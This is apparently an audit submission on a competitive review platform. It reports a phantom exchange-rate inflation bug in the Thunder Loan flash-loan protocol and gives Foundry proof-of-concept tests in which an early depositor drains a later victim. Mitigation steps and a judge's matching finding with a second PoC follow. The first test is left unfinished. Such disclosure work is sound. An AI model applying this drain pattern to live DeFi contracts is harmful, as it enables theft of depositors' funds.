Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Phantom exchangeRate inflation on deposit() lets early LP steal from later depositors + locks redemptions

Description

Normal behavior

Deposits should mint AssetTokens proportional to the amount of underlying deposited. The AssetToken exchange rate should only increase when the protocol actually receives additional underlying value (e.g., real fees/yield).

Issue

ThunderLoan.deposit() increases the AssetToken exchange rate using a calculated fee even though no extra underlying is added during deposit. This creates “phantom yield”: earlier LPs can later redeem for more underlying than they contributed, effectively extracting value from later depositors. In extreme cases, later users may become unable to redeem because the AssetToken backing becomes insufficient.

Root cause (with code references)

In deposit() the contract:

mints shares using current exchange rate

computes calculatedFee

calls assetToken.updateExchangeRate(calculatedFee) before receiving any real fee/extra underlying

only then transfers the depositor’s underlying in

References:

src/protocol/ThunderLoan.sol 147–156: mint + updateExchangeRate(calculatedFee) + safeTransferFrom(...)

src/protocol/AssetToken.sol 80–96: updateExchangeRate(fee) assumes fee is real value added by using

newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();

Because the “fee” used here is not actually added to the AssetToken’s underlying balance during deposits, exchangeRate increases without backing.

// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood

Occurs whenever a token is allowed and there is at least one existing LP (non-zero totalSupply()), and a new deposit is made.

No privileged role required.

Impact

Value extraction / theft: An early LP can redeem and receive more underlying than their fair share, draining value from later depositors due to artificially inflated exchangeRate.

Fund lock / insolvency risk: Later LP redemptions can revert or fail due to insufficient underlying remaining in the AssetToken contract.

Proof of Concept


Foundry PoC:
File: test/DepositPhantomYield.t.sol
Run:

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


import {BaseTest} from "./unit/BaseTest.t.sol";

import {AssetToken} from "../src/protocol/AssetToken.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";


contract DepositPhantomYieldTest is BaseTest {

function test_DepositPhantomYield_AllowsOldLPToStealAndLocksNewLP() public {

// Owner (this test contract) allows tokenA and creates its AssetToken

AssetToken aToken = thunderLoan.setAllowedToken(IERC20(address(tokenA)), true);


address attacker = makeAddr("attacker");

address victim = makeAddr("victim");


uint256 A1 = 1000e18;

uint256 A2 = 1000e18;


// Give both users tokenA

deal(address(tokenA), attacker, A1);

deal(address(tokenA), victim, A2);


// Attacker deposits first (becomes existing LP)

vm.startPrank(attacker);

tokenA.approve(address(thunderLoan), type(uint256).max);

thunderLoan.deposit(IERC20(address(tokenA)), A1);

vm.stopPrank();


// Victim deposits second (triggers phantom yield via updateExchangeRate(calculatedFee))

vm.startPrank(victim);

tokenA.approve(address(thunderLoan), type(uint256).max);

thunderLoan.deposit(IERC20(address(tokenA)), A2);

vm.stopPrank();


// Attacker redeems first and extracts more underlying than their fair contribution

uint256 attackerBalBefore = tokenA.balanceOf(attacker);


vm.startPrank(attacker);

thunderLoan.redeem(IERC20(address(tokenA)), type(uint256).max);

vm.stopPrank();


uint256 attackerBalAfter = tokenA.balanceOf(attacker);


// attacker deposited A1, should never be able to withdraw > A1 absent real yield

assertGt(attackerBalAfter, attackerBalBefore);

assertGt(attackerBalAfter, A1);


// Victim tries to redeem and should fail because attacker drained too much backing

vm.startPrank(victim);

vm.expectRevert();

thunderLoan.redeem(IERC20(address(tokenA)), type(uint256).max);

vm.stopPrank();


// Sanity: remaining underlying in AssetToken is now initial deposit (profit).

Victim redeem reverts due to insufficient underlying backing remaining in AssetToken.

Recommended Mitigation

Do not call updateExchangeRate() during deposit() unless the protocol actually receives additional underlying (real fee/yield) at that moment.

If deposits should not generate yield, remove this line from deposit():

assetToken.updateExchangeRate(calculatedFee);

If the intention is to charge a deposit fee, then:

Actually collect a fee from the depositor (extra underlying) and transfer it into the AssetToken backing before updating exchange rate, OR

Mint fewer AssetTokens to the depositor to account for the fee (shares-based fee), without inflating exchange rate without backing.

- remove this code
+ add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!